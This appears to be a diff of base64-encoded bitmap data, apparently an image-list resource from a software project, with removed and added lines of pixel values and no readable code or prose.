Af8BTgFnAWoB8AFUAWMBaQHuAVEBbQGCAfcBOAF2AXwB/AE/AZcBsAH/AUoBqwHJAf8BTwG0AdIB/wFQ - AbYB1QH/AVABtgHVAf8BUAG2AdUB/wFQAbYB1QH/AVABtgHVAf8BUAG2AdUB/wFQAbYB1QH/AVABtgHV - Af8BUAG2AdUB/wFRAbcB1QH/AVEBtwHVAf8BUQG3AdUB/wFSAbcB1QH/AVMBtwHWAf8DTgGYAy0BRgMj - ATMDGQEjAwwBEAMCAQMDAAEBFAADBQEHAx4BKwMqAf4DKgH/AyoB/wMqAf8DKgH/AyoB/wMAAf8DKgH/ - AyoB/wMqAf8DKgH/AyoB/wMqAf8DKgH/AyoB/wMqAf8DKgH/AxwB/wNgAf8DYAH/A2AB/wNgAf8DYAH/ - A2AB/wMqAf8DKgH/AyoB/wMqAf8DKgH/AyoB/wMqAf8DKgH/AyoB/wMqAf8DKgH/AyoB/wMqAf8DKgH/ - AyoB/wMqAf8DKgH/AyoB/wMfAf8DGAEhAwQBBQMDAQQDOAFdA00B8gMHAf8DAAH/AwAB/wMAAf8DAAH/ + AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDKgFBAx0BKgMKAQ4DAwEE + 4AADDAEQAzABSwNZAb4BXQFnAWkB7QFSAagBuAH9AVQBuAHWAf8BVAG4AdYB/wFUAbgB1gH/AVUBuAHV + Af8BUwJVAbABTwJQAZwBVgJYAbwBXAJgAdQBWwJhAeEBXAFjAWUB6gFgAXABdwH2AUsBigGhAfwBUgG1 + AdQB/wFSAbUB1AH/AVIBtQHUAf8BUgG1AdQB/wFSAbUB1AH/AVIBtQHUAf8BUgG1AdQB/wFSAbUB1AH/ + AVIBtQHUAf8BUwG1AdQB/wFTAbUB1AH/AVQBtQHUAf8BVQG2AdQB/wNOAZgDLgFIAyMBMwMYASEDCgEO + AwEBAgMAAQEUAAMFAQcDHwEsAzQB/gM9Af8DPQH/Az0B/wM9Af8DPQH/AwAB/wM9Af8DPQH/Az0B/wM9 + Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DJAH/A2IB/wNiAf8DYgH/A2IB/wNiAf8DYgH/Az0B/wM9 + Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DPQH/AzkB/wETAYcBVwH/ATUBNwE1 + Af8DPQH/Az0B/wM9Af8DKwH/AxgBIgMEAQUDAAEBAxYBHgNOAZQDSAH2AzIB/gMeAf8DHAH/AxwB/wMc + Af8DHAH/AxwB/wMeAf8DHgH/Ax4B/wMfAf8DIAH/AyAB/wMiAf8DIgH/AyIB/wMjAf8DIwH/AyQB/wMk + Af8DIwH/AyMB/wMjAf8DIgH/AyIB/wMgAf8DIAH/Ax4B/wMdAf8DHAH/AxsB/wMaAf8DGQH/ARoCGAH/ + ASQBGAEZAf8BRQEdAR4B/wFqAjAB/wGDAjYB/wFqATEBLwH/AUkCJAH/AVEBRAFGAfcDVAGvAx0BKQMC + AQPcAAMyAVABVgJZAb4BYAGKAZQB+QFeAZ4BuAH+AVUBuQHYAf8BVQG5AdgB/wFVAbkB2AH/AVUBuQHY + Af8BVgG5AdcB/wFOAWkBcAHwAVQBZwFtAe4BUQFuAYQB9wE6AXgBfgH8AUEBlwGwAf8BTAGrAckB/wFR + AbQB0gH/AVIBtgHVAf8BUgG2AdUB/wFSAbYB1QH/AVIBtgHVAf8BUgG2AdUB/wFSAbYB1QH/AVIBtgHV + Af8BUgG2AdUB/wFSAbYB1QH/AVMBtwHVAf8BUwG3AdUB/wFTAbcB1QH/AVQBtwHVAf8BVQG3AdYB/wNO + AZgDLQFGAyMBMwMZASMDDAEQAwIBAwMAAQEUAAMFAQcDHgErAyoB/gMsAf8DLAH/AywB/wMsAf8DLAH/ + AwAB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DHgH/A2IB/wNiAf8DYgH/ + A2IB/wNiAf8DYgH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/ + AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AyEB/wMYASEDBAEFAwMBBAM4AV0DSwHyAwkB/wMAAf8DAAH/ AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/ AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/ - AwAB/wFvAQ0BAAH/Ab4BWgEvAf8BwwFwAUYB/wG+AWQBLwH/AWgBFgECAf8BDgIAAf8BHQIZAf8DSgGK - AwcBCdwAA1MBqgFSAXUBewH0AVQBugHZAf8BVAG6AdkB/wFUAboB2QH/AVQBugHZAf8BVAG6AdkB/wFU - AboB2QH/AVUBugHYAf8BPgGWAa8B/wE7AZEBqQH/ATsBkgGqAf8BPAGUAa0B/wFBAZwBtgH/AUsBrAHJ - Af8BUAG1AdIB/wFRAbcB1QH/AVEBtwHVAf8BUQG3AdUB/wFRAbcB1QH/AVEBtwHVAf8BUQG3AdUB/wFR - AbcB1QH/AVEBtwHVAf8BUQG3AdUB/wFSAbgB1QH/AVIBuAHVAf8BUgG4AdUB/wFSAbcB1QH/AVQBuAHW - Af8BTgJPAZcDLAFDAyEBMAMaASUDEAEVAwQBBgMBAQIUAAMFAQcDHQEqAyUB/gOwAf8DsAH/A7AB/wOw - Af8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOw - Af8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOw - Af8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/AxoB/wMXASADAwEEAwUBBwNIAYgDIwH/AwAB/wMA - Af8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMA - Af8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMA - Af8DAAH/AwAB/wMAAf8DAAH/ARICAAH/ASwCAAH/ATYCAAH/ASsCAAH/ARICAAH/AQECAAH/AQ0CCgH/ - A1YBuQMOARPcAANUAasBWQFzAYAB9QFUAbsB2gH/AVQBuwHaAf8BVAG7AdoB/wFUAbsB2gH/AVQBuwHa - Af8BVAG7AdoB/wFVAbsB2QH/AT8BlwGwAf8BPAGSAaoB/wE8AZMBqwH/AT0BlQGuAf8BQgGdAbcB/wFM - Aa0BygH/AVEBtgHTAf8BUgG4AdYB/wFSAbgB1gH/AVIBuAHWAf8BUgG4AdYB/wFSAbgB1gH/AVIBuAHW - Af8BUgG4AdYB/wFSAbgB1gH/AVIBuAHWAf8BVAG5AdYB/wFUAbkB1gH/AVQBuQHWAf8BUwG4AdYB/wFV - AbkB1gH/A04BlQMqAUADHwEtAxwBJwMVAR0DDAEQAwUBBwMBAQIQAAMEAQYDHAEnA6EB/gO3Af8DvAH/ - A70B/wOyAf8DsAH/A68B/wOtAf8DqwH/A6oB/wOoAf8DpgH/A6UB/wOjAf8DogH/A6EB/wOfAf8DngH/ - A50B/wOdAf8DnAH/A50B/wOdAf8DnQH/A54B/wOfAf8DoQH/A6IB/wOjAf8DpQH/A6YB/wOoAf8DqgH/ - A6sB/wOtAf8DrwH/A7EB/wOyAf8DtAH/A8AB/wO9Af8DuAH/A64B/wMWAR4DAwQEAQYDRAF7AzoB/gMn - Af8DKAH/AycB/wMoAf8DKAH/AykB/wMpAf8DKQH/AyoB/wMrAf8DKwH/AysB/wMsAf8DLAH/Ay0B/wMt - Af8DLQH/Ay0B/wMtAf8DLQH/Ay0B/wMtAf8DLQH/AywB/wMsAf8DLAH/AysB/wMrAf8DKgH/AykB/wMp - Af8DKAH/AycB/wMnAf8DJgH/ASYCJQH/ASwBJAElAf8BNwIkAf8BOgEjASQB/wE1ASIBIwH/ASoCIgH/ - AR4CGwH/ARwCGwH/A1QBrwMMARDcAANUAasBWQFzAYAB9QFVAbwB3AH/AVUBvAHcAf8BVQG8AdwB/wFV - AbwB3AH/AVUBvAHcAf8BVQG8AdwB/wFWAbwB2wH/AT8BmAGxAf8BPAGTAasB/wE8AZQBrAH/AT0BlgGv - Af8BQgGeAbgB/wFMAa4BywH/AVEBtwHUAf8BUgG5AdcB/wFSAbkB1wH/AVIBuQHXAf8BUgG5AdcB/wFS - AbkB1wH/AVIBuQHXAf8BUgG5AdcB/wFSAbkB1wH/AVMBuQHYAf8BVAG6AdgB/wFUAboB2AH/AVQBugHY - Af8BUwG5AdcB/wFVAboB1wH/A0wBkwMnATsDHAEoAxoBJQMWAR8DEgEYAwoBDQMEAQUDAAEBDAADBAEF - AxgBIgOtAf4DswH/A68B/wOiAf8D0wH/A8UB/wPCAf8DvwH/A70B/wO7Af8DuAH/A7YB/wO0Af8DsgH/ - A7AB/wOvAf8DrQH/A6wB/wOrAf8DqwH/A6oB/wOqAf8DqgH/A6sB/wOsAf8DrQH/A68B/wOwAf8DsgH/ - A7QB/wO2Af8DuAH/A7oB/wO9Af8DwAH/A8IB/wPFAf8DxwH/A8YB/wOoAf8DxwH/A9MB/wOuAf8DEwEa - AwIEAwEEA0ABbgNwAfwDmgH/A5wB/wObAf8DmgH/A5sB/wOaAf8DmQH/A5oB/wOZAf8DmQH/A5oB/wOZ - Af8DmQH/A5gB/wOYAf8DlwH/A5cB/wOWAf8DlwH/A5YB/wOVAf8DlAH/A5QB/wOSAf8DkgH/A5EB/wOQ - Af8DjwH/A44B/wONAf8DjAH/A4sB/wOLAf8DigH/A4kB/wOJAf8BiQKIAf8BiQGGAYcB/wGJAYYBhwH/ - AYgChgH/AYcBhQGGAf8DdAH/AWYCZQH/A1IBowMIAQvcAANTAaoBUgF1AX0B9AFWAb0B3QH/AVYBvQHd - Af8BVgG9Ad0B/wFWAb0B3QH/AVYBvQHdAf8BVgG9Ad0B/wFXAb0B3AH/AUABmAGyAf8BPQGTAawB/wE9 - AZQBrQH/AT4BlgGwAf8BQwGeAbkB/wFNAa4BzAH/AVIBtwHVAf8BUwG5AdgB/wFTAbkB2AH/AVMBuQHY - Af8BUwG5AdgB/wFTAbkB2AH/AVMBuQHYAf8BUwG5AdgB/wFTAbkB2AH/AVQBugHZAf8BVQG6AdkB/wFV - AboB2QH/AVQBugHZAf8BVAG5AdgB/wFWAboB2AH/A0wBjwMlATcDGQEjAxcBIAMVAR0DEgEZAw4BEwMH - AQoDAQECAwABAQgAAwMBBAMWAR4DmgH+A8wB/wOGAf8DTgH/A8kB/wPGAf8DxAH/A8EB/wO/Af8DvQH/ - A7oB/wO4Af8DtgH/A7UB/wOzAf8DsQH/A7AB/wOvAf8DrgH/A9MB/wPpAf8D+AH/A+UB/wPJAf8DrwH/ - A7AB/wOyAf8DswH/A7QB/wO2Af8DuAH/A7oB/wO8Af8DvwH/A8EB/wPDAf8DxwH/A8gB/wPIAf8DVAH/ - A4MB/wPOAf8DrwH/AxABFgMBAQIDAQECA1UBrQOkAf8DogH/A6EB/wOgAf8DngH/A54B/wOcAf8DmwH/ - A5oB/wOZAf8DmAH/A5cB/wOWAf8DlgH/A5QB/wOSAf8DkgH/A5EB/wOPAf8DjgH/A44B/wONAf8DjAH/ - A4wB/wOKAf8DigH/A4kB/wOJAf8DiAH/A4cB/wOHAf8DhgH/A4UB/wOEAf8DhQH/A4UB/wOFAf8DhQH/ - A4QB/wOFAf8DhQH/A4UB/wOEAf8DhQH/A1wBzAMYASLcAANTAaoBUgF1AX0B9AFXAb4B3gH/AVcBvgHe - Af8BVwG+Ad4B/wFXAb4B3gH/AVcBvgHeAf8BVwG+Ad4B/wFYAb4B3QH/AUABmQGzAf8BPQGUAa0B/wE9 - AZUBrgH/AT4BlwGvAf8BQgGdAbgB/wFLAasByAH/AVEBtQHUAf8BVAG6AdkB/wFUAboB2QH/AVQBugHZ - Af8BVAG6AdkB/wFUAboB2QH/AVQBugHZAf8BVAG6AdkB/wFUAboB2QH/AVYBuwHaAf8BVwG7AdoB/wFX - AbsB2gH/AVUBugHZAf8BVQG6AdkB/wFXAbsB2QH/A0oBjQMiATIDFQEdAxMBGgMRARcDDgETAwsBDwMH - AQoDAwEEAwEBAggAAwIBAwMTARoDmAH+A88B/wPNAf8DywH/A8kB/wPHAf8DxgH/A8MB/wPBAf8DvwH/ - A70B/wO7Af8DuQH/A8cB/wPOAf8D8AX/A/4B/wPuAf8D5QH/A+UB/wPlAf8D5QH/A+UB/wPxCf8D4AH/ - A88B/wPBAf8DuwH/A70B/wO/Af8DwQH/A8MB/wPFAf8DxwH/A8kB/wPLAf8DzQH/A84B/wPQAf8DVgGr - Aw4BEwMBAQIDAAEBA14BzgOmAf8DpQH/A6QB/wOjAf8DoQH/A6AB/wOfAf8DngH/A50B/wOcAf8DmwH/ - A5oB/wOYAf8DlwH/A5YB/wOVAf8DlQH/A5MB/wOSAf8DkQH/A5AB/wOQAf8DkAH/A44B/wOMAf8DjAH/ - A4sB/wOKAf8DiQH/A4kB/wOHAf8DiAH/A4cB/wOFAf8DhQH/A4UB/wOFAf8DhAH/A4UB/wOFAf8DhAH/ - A4QB/wOFAf8DhQH/A2EB3AMiATLcAANTAaoBXQF3AX0B9AFZAcAB4AH/AVkBwAHgAf8BWQHAAeAB/wFZ - AcAB4AH/AVkBwAHgAf8BWQHAAeAB/wFaAcAB3wH/AUIBmwG0Af8BPQGVAa4B/wE9AZYBrwH/AT4BlwGw - Af8BQQGaAbUB/wFFAaIBvwH/AU0BsAHNAf8BUgG4AdcB/wFUAbsB2wH/AVQBuwHbAf8BVAG7AdsB/wFU - AbsB2wH/AVQBuwHbAf8BVQG7AdsB/wFVAbwB2wH/AVcBvQHcAf8BVwG9AdwB/wFXAbwB2wH/AVUBuwHb - Af8BVQG7AdsB/wFXAbwB2wH/A0oBigMfASwDEAEVAw0BEgMLAQ8DCQEMAwcBCQMEAQUDAQECAwABAQgA - AwEBAgMQARYDawH1A9AB/wPOAf8DzQH/A8sB/wPJAf8DyAH/A8UB/wPDAf8DwQH/A78B/wPSAf8D6AH/ - A/cB/wP9Af8D0AH/A88B/wPMAf8DvAH/A7MB/wOzAf8DswH/A7MB/wO0Af8DvwH/A84B/wPQAf8D0QX/ - A/EB/wPpAf8DxAH/A8EB/wPDAf8DxQH/A8cB/wPJAf8DywH/A80B/wPOAf8D0AH/A9IB/wM0AVQDDAEQ - AwABAQQAA1gBuwOpAf8DqAH/A6YB/wOlAf8DpAH/A6MB/wOiAf8DoQH/A58B/wOeAf8DnQH/A5wB/wOb - Af8DmQH/A5gB/wOXAf8DlwH/A5UB/wOUAf8DlwH/A5AB/wOIAf8DbwH/A4sB/wORAf8DjgH/A40B/wOM - Af8DiwH/A4oB/wOJAf8DiQH/A4gB/wOHAf8DhwH/A4YB/wOGAf8DhQH/A4UB/wOFAf8DhQH/A4UB/wOE - Af8DhQH/A10B0wMdASncAANTAagBXwF3AX0B9AFaAcEB4QH/AVoBwQHhAf8BWgHBAeEB/wFaAcEB4QH/ - AVoBwQHhAf8BWgHBAeEB/wFbAcEB4AH/AUMBnAG1Af8BPgGWAa8B/wE+AZYBsAH/AT4BlgGwAf8BPwGY - AbEB/wFBAZoBtAH/AUkBqQHEAf8BUQG1AdQB/wFVAbwB3AH/AVUBvAHcAf8BVQG8AdwB/wFVAbwB3AH/ - AVUBvAHcAf8BVgG8AdwB/wFXAb0B3AH/AVgBvgHdAf8BWAG+Ad0B/wFXAb0B3AH/AVYBvAHcAf8BVgG8 - AdwB/wFXAb0B3AH/A0gBhgMZASMDCAELAwYBCAMEAQYDAgEDAwEBAgMAAQEQAAMBAQIDDgETA1QBrQPR - Af8DzwH/A84B/wPMAf8DygH/A8kB/wPIAf8DxQH/A8MB/wPaCf8DwQH/A7oB/wO5Af8DuQH/A7cB/wO3 - Af8DtwH/A7YB/wO2Af8DtgH/A7cB/wO4Af8DuAH/A7oB/wO7Af8DvAH/A9YF/wP+Af8D1gH/A8UB/wPH - Af8DyQH/A8oB/wPMAf8DzgH/A88B/wPRAf8D0wH/AygBPAMKAQ4DAAEBBAADSgGKA6sB/wOqAf8DqgH/ - A6gB/wOmAf8DpgH/A6QB/wOjAf8DogH/A6EB/wOgAf8DnwH/A50B/wOcAf8DmwH/A5oB/wOZAf8DlwH/ - A5kB/wOBAf8DWQH/A1cB/wNWAf8DVQH/A1cB/wOSAf8DjwH/A44B/wONAf8DjAH/A4sB/wOKAf8DigH/ - A4kB/wOJAf8DiAH/A4cB/wOHAf8DhgH/A4UB/wOFAf8DhQH/A4QB/wOEAf8DVwG6AwwBENwAA1MBqAFg - AXcBfQH0AVsBwgHiAf8BWwHCAeIB/wFbAcIB4gH/AVsBwgHiAf8BWwHCAeIB/wFbAcIB4gH/AVwBwgHh - Af8BRAGdAbYB/wE/AZcBsAH/AT8BlwGxAf8BPwGXAbEB/wE/AZgBsgH/AUABmQGzAf8BSAGnAcMB/wFR - AbYB1AH/AVYBvQHdAf8BVgG9Ad0B/wFWAb0B3QH/AVYBvQHdAf8BVgG9Ad0B/wFXAb4B3QH/AVkBvwHe - Af8BWgG/Ad4B/wFZAb8B3gH/AVYBvgHdAf8BVgG9Ad0B/wFXAb0B3QH/AVgBvgHdAf8DRwGCAxMBGgMC - AQMDAQECAwABAQMAAQEDAAEBFwABAQMMARADNgFZA9IB/wPQAf8DzwH/A80B/wPLAf8DygH/A8kB/wPP - Af8D7wH/A/IB/wPUAf8DwAH/A78B/wO9Af8DvQH/A7wB/wO7Af8DugH/A7oB/wO5Af8DugH/A7oB/wO6 - Af8DuwH/A7sB/wO9Af8DvgH/A78B/wPBAf8DwgH/A+QB/wPxAf8D3AH/A84B/wPKAf8DywH/A80B/wPP - Af8D0AH/A9IB/wPTAf8DJAE2AwgBCwMAAQEEAAM3AVoDjwH7A60B/wOsAf8DqgH/A6oB/wOpAf8DpwH/ - A6YB/wOlAf8DowH/A6MB/wOiAf8DoAH/A58B/wOeAf8DnQH/A5sB/wOZAf8DbwH/A1wB/wNbAf8DWgH/ - A1kB/wNYAf8DVgH/A1cB/wONAf8DkAH/A44B/wOOAf8DjQH/A4wB/wOLAf8DigH/A4kB/wOJAf8DiAH/ - A4gB/wOIAf8DhgH/A4YB/wOFAf8DhAH/A4UB/wNPAZcDAAEB3AADUgGnAWABdwF9AfQBXAHEAeQB/wFc - AcQB5AH/AVwBxAHkAf8BXAHEAeQB/wFcAcQB5AH/AVwBxAHkAf8BXAHEAeMB/wFHAaEBvAH/AUEBmgGz - Af8BQAGYAbIB/wFAAZgBsgH/AUABmQGzAf8BQQGaAbQB/wFJAaYBwwH/AVIBtgHUAf8BVwG+Ad4B/wFX - Ab4B3gH/AVcBvgHeAf8BVwG+Ad4B/wFXAb4B3gH/AVgBvwHfAf8BWwHAAd8B/wFbAcAB3wH/AVoBwAHf - Af8BVwG+Ad4B/wFYAb8B3gH/AW0BmQG4Af4BWwF9AZQB/ANEAXsDEAEVKwABAQMKAQ0DJwE7A9QB/wPS - Af8D0QH/A88B/wPNAf8DzAH/A88B/wPhAf8D5AH/A9AB/wPEAf8DwgH/A8EB/wPAAf8DvwH/A74B/wO9 - Af8DvQH/A7wB/wO8Af8DvAH/A7wB/wO9Af8DvQH/A74B/wO/Af8DwAH/A8EB/wPDAf8DxAH/A8YB/wPR - Af8D6gH/A90B/wPOAf8DzQH/A88B/wPRAf8D0gH/A9MB/wPNAf8DIQEwAwcBCQgAAygBPANoAeYDsAH/ - A64B/wOtAf8DrAH/A6sB/wOqAf8DqAH/A6cB/wOlAf8DpQH/A6QB/wOiAf8DogH/A6EB/wOfAf8DnQH/ - A5YB/wNpAf8DXwH/A14B/wNcAf8DWwH/A1oB/wNZAf8DWAH/A3AB/wORAf8DkQH/A5AB/wOPAf8DjgH/ - A40B/wOMAf8DiwH/A4oB/wOKAf8DiQH/A4kB/wOIAf8DiAH/A4cB/wOGAf8DhgH/AzsBZeAAA1IBpwFg - AXcBfgH0AV0BxQHlAf8BXQHFAeUB/wFdAcUB5QH/AV0BxQHlAf8BXQHFAeUB/wFdAcUB5QH/AV0BxQHl - Af8BUwG1AdIB/wFGAaIBvAH/AUABmQGyAf8BQAGZAbIB/wFAAZoBswH/AUEBmwG0Af8BSQGnAcQB/wFS - AbcB1QH/AVcBvwHfAf8BVwG/Ad8B/wFXAb8B3wH/AVcBvwHfAf8BVwG/Ad8B/wFZAcAB4AH/AVsBwQHg - Af8BWwHBAeAB/wFZAcAB3wH/AVcBvwHfAf8BYgHBAd8B/wFfAY8BkwH7AVsBYAFiAekDOAFdAwoBDSsA - AQEDCAELAyQBNQPVAf8D0wH/A9IB/wPQAf8DzgH/A80B/wPUAf8D1gH/A8oB/wPJAf8DxwH/A8UB/wPE - Af8DwwH/A8IB/wPBAf8DwAH/A8AB/wO/Af8DvwH/A78B/wO/Af8DwAH/A8AB/wPBAf8DwgH/A8MB/wPE - Af8DxQH/A8cB/wPIAf8DygH/A8sB/wPcAf8D0QH/A88B/wPQAf8D0gH/A9MB/wPUAf8DwAH/Ax0BKgMF - AQcIAAMZASMDXAHNA7MB/wOyAf8DsAH/A68B/wOuAf8DrAH/A6sB/wOrAf8DqQH/A6gB/wOmAf8DpQH/ - A6QB/wOjAf8DoQH/A6EB/wOZAf8DbAH/A2EB/wNhAf8DXwH/A14B/wNdAf8DWwH/A1oB/wNvAf8DlAH/ - A5MB/wOSAf8DkQH/A5AB/wOQAf8DjgH/A44B/wONAf8DiwH/A4oB/wOKAf8DiQH/A4kB/wOIAf8DhwH/ - A4cB/wMiATHgAANSAacBYgF3AX8B9AFeAcYB5wH/AV4BxgHnAf8BXgHGAecB/wFeAcYB5wH/AV4BxgHn - Af8BXgHGAecB/wFeAcYB5wH/AVsBwgHhAf8BUQGyAc8B/wFAAZkBsgH/AUEBmgGzAf8BQQGaAbQB/wFC - AZsBtQH/AUoBqAHFAf8BUwG3AdYB/wFYAcAB4AH/AVgBwAHgAf8BWAHAAeAB/wFYAcAB4AH/AVkBwAHg - Af8BWwHCAeEB/wFdAcIB4QH/AVwBwgHhAf8BWgHBAeAB/wFYAcAB4AH/Al8BYgHjA0IBdQMfASwDDAEQ - AwEBAisAAQEDBwEJAyABLwPPAf8D1AH/A9MB/wPSAf8D0AH/A8cB/wPNAf8DzgH/A8sB/wPKAf8DyQH/ - A8gB/wPHAf8DxgH/A8UB/wPEAf8DwwH/A8MB/wPDAf8DwgH/A8IB/wPDAf8DwwH/A8MB/wPEAf8DxQH/ - A8YB/wPHAf8DyAH/A8kB/wPKAf8DywH/A8wB/wPPAf8DywH/A8kB/wPRAf8D0wH/A9QB/wPVAf8DvwH/ - AxoBJQMEAQYIAAMIAQsDVgGxA7UB/wO0Af8DswH/A7IB/wOxAf8DrwH/A64B/wOtAf8DrAH/A6sB/wOq - Af8DqAH/A6cB/wOmAf8DpAH/A6MB/wOgAf8DhQH/A28B/wNyAf8DaAH/A2EB/wNgAf8DXQH/A2UB/wOS - Af8DlgH/A5YB/wOVAf8DlAH/A5IB/wORAf8DkAH/A48B/wOPAf8DjQH/A40B/wOMAf8DiwH/A4oB/wOJ - Af8DiQH/A2EB8AMFAQfgAANTAaUBXwF3AYAB8wFfAccB6QH/AV8BxwHpAf8BXwHHAekB/wFfAccB6QH/ - AV8BxwHpAf8BXwHHAekB/wFfAccB6QH/AV8BxgHmAf8BWAG5AdgB/wE/AZgBsQH/AUEBmgG0Af8BQQGc - AbUB/wFCAZ0BtgH/AUsBqgHGAf8BVAG5AdgB/wFZAcIB4gH/AVkBwgHiAf8BWQHCAeIB/wFZAcIB4gH/ - AVsBwgHiAf8BXQHEAeMB/wFeAcQB4wH/AVwBxAHiAf8BWgHCAeIB/wFZAcIB4gH/A14BzgMkATYDAAEB - NAADBQEHAx0BKQPDAf8D1gH/A9UB/wPUAf8DygH/A7sB/wPOAf8DzgH/A80B/wPMAf8DywH/A8oB/wPJ - Af8DyAH/A8gB/wPHAf8DxgH/A8YB/wPGAf8DxgH/A8YB/wPGAf8DxgH/A8YB/wPHAf8DxwH/A8gB/wPJ - Af8DygH/A8sB/wPMAf8DzQH/A84B/wPPAf8DywH/A7gB/wPTAf8D1QH/A9YB/wPXAf8DjgH8AxcBIAMD - AQQMAANJAYgDuAH/A7cB/wO2Af8DtAH/A7MB/wOyAf8DsQH/A7AB/wOuAf8DrQH/A6wB/wOqAf8DqQH/ - A6gB/wOnAf8DpgH/A6QB/wOgAf8DjAH/A3QB/wNyAf8DcAH/A2QB/wOBAf8DlQH/A5oB/wOYAf8DmAH/ - A5cB/wOWAf8DlQH/A5QB/wOSAf8DkQH/A5EB/wOPAf8DjwH/A44B/wONAf8DjAH/A4sB/wOLAf8DVAGv - 5AADUgGkAV8BdwGAAfMBYAHIAeoB/wFgAcgB6gH/AWAByAHqAf8BYAHIAeoB/wFgAcgB6gH/AWAByAHq - Af8BYAHIAeoB/wFgAccB6AH/AVoBuwHaAf8BQAGZAbIB/wFCAZsBtQH/AUIBnQG2Af8BQwGeAbcB/wFM - AasBxwH/AVUBugHZAf8BWgHDAeMB/wFaAcMB4wH/AVoBwwHjAf8BWgHDAeMB/wFdAcQB4wH/AV8BxQHk - Af8BXwHFAeQB/wFdAcQB4wH/AVsBwwHjAf8BWgHDAeMB/wNcAckDHQEqOAADBAEGAxoBJAPAAf8D1wH/ - A9YB/wPVAf8DuQH/A7MB/wPRAf8D0AH/A88B/wPOAf8DzAH/A8wB/wPLAf8DygH/A8oB/wPJAf8DyQH/ - A8kB/wPIAf8DyQH/A9cB/wPIAf8DyQH/A8kB/wPJAf8DygH/A8oB/wPLAf8DzAH/A80B/wPNAf8DzwH/ - A9AB/wPQAf8D0gH/A7EB/wO6Af8D1gH/A9cB/wPYAf8DXgHOAxQBHAMCAQMMAAM1AVYDuwH/A7oB/wO4 - Af8DuAH/A7YB/wO1Af8DtAH/A7MB/wOxAf8DrwH/A68B/wOtAf8DrAH/A6sB/wOqAf8DqQH/A6cB/wOm - Af8DpQH/A6MB/wONAf8DhAH/A5oB/wOfAf8DngH/A5wB/wObAf8DmwH/A5kB/wOYAf8DlwH/A5YB/wOV - Af8DlAH/A5MB/wORAf8DkQH/A5AB/wOPAf8DjwH/A44B/wOMAf8DOwFl5AADUgGkAV8BeAGAAfMBYQHK - AesB/wFhAcoB6wH/AWEBygHrAf8BYQHKAesB/wFhAcoB6wH/AWEBygHrAf8BYQHKAesB/wFhAckB6QH/ - AVsBvQHaAf8BQQGaAbMB/wFDAZwBtQH/AUMBngG3Af8BRAGfAbgB/wFNAawByAH/AVYBuwHaAf8BWwHE - AeQB/wFbAcQB5AH/AVsBxAHkAf8BWwHEAeQB/wFfAcYB5QH/AWEBxwHlAf8BYQHHAeUB/wFdAcUB5AH/ - AVsBxAHkAf8BWwHEAeQB/wNcAckDHQEqOAADBAEFAxcBIAONAfkD2AH/A9cB/wPVAf8DsgH/A9QB/wPT - Af8D0QH/A9AB/wPQAf8DzgH/A84B/wPNAf8DzAH/A8wB/wPMAf8D1AX/A/YB/wPuAf8D7gH/A+4B/wP5 - Af8D8gH/A9AB/wPMAf8DzAH/A80B/wPOAf8DzgH/A88B/wPRAf8D0QH/A9IB/wPUAf8DvQH/A7MB/wPX - Af8D2AH/A9gB/wNOAZUDEQEXAwIBAwwAAxoBJAOtAf0DvQH/A7wB/wO7Af8DuQH/A7gB/wO3Af8DtQH/ - A7QB/wOzAf8DsgH/A7AB/wOvAf8DrgH/A6wB/wOrAf8DqwH/A6kB/wOnAf8DpgH/A5AB/wOGAf8DnAH/ - A6EB/wOhAf8DnwH/A54B/wOdAf8DnAH/A5sB/wOaAf8DmAH/A5cB/wOWAf8DlQH/A5QB/wOTAf8DkgH/ - A5EB/wOQAf8DjwH/A3AB+wMVAR3kAANSAaMBXwF7AYEB8wFiAcsB7QH/AWIBywHtAf8BYgHLAe0B/wFi - AcsB7QH/AWIBywHtAf8BYgHLAe0B/wFiAcsB7QH/AWIBygHrAf8BXAG+AdwB/wFBAZsBtAH/AUMBnQG2 - Af8BQwGeAbgB/wFEAZ8BuQH/AU0BrQHJAf8BVgG8AdsB/wFbAcUB5QH/AVsBxQHlAf8BXAHFAeUB/wFd - AcYB5gH/AWEByAHmAf8BYQHIAeYB/wFhAccB5gH/AVwBxgHlAf8BWwHFAeUB/wFcAcUB5QH/A1wByQMe - ASs4AAMCAQMDFAEbA1wBzwPZAf8D2AH/A8sB/wOiAf8D1gH/A9UB/wPTAf8D0gH/A9IB/wPQAf8D0AH/ - A88B/wPOAf8DzgH/A8wB/wPeAf8D3gH/A9UB/wPMAf8DzAH/A8wB/wPYAf8D2wH/A80B/wPIAf8DzgH/ - A88B/wPQAf8D0AH/A9EB/wPTAf8D0wH/A9QB/wPWAf8D1wH/A60B/wPYAf8D2QH/A9kB/wNFAX0DDgET - AwEBAgwAAwMBBANgAeADwAH/A74B/wO9Af8DvAH/A7oB/wO5Af8DuAH/A7cB/wO2Af8DtQH/A7MB/wOy - Af8DsAH/A68B/wOuAf8DrQH/A6sB/wOpAf8DpgH/A5AB/wOKAf8DnwH/A6QB/wOjAf8DogH/A6AB/wOg - Af8DngH/A50B/wOcAf8DmwH/A5kB/wOZAf8DmAH/A5cB/wOVAf8DlQH/A5MB/wOSAf8DkQH/A18B2wMA - 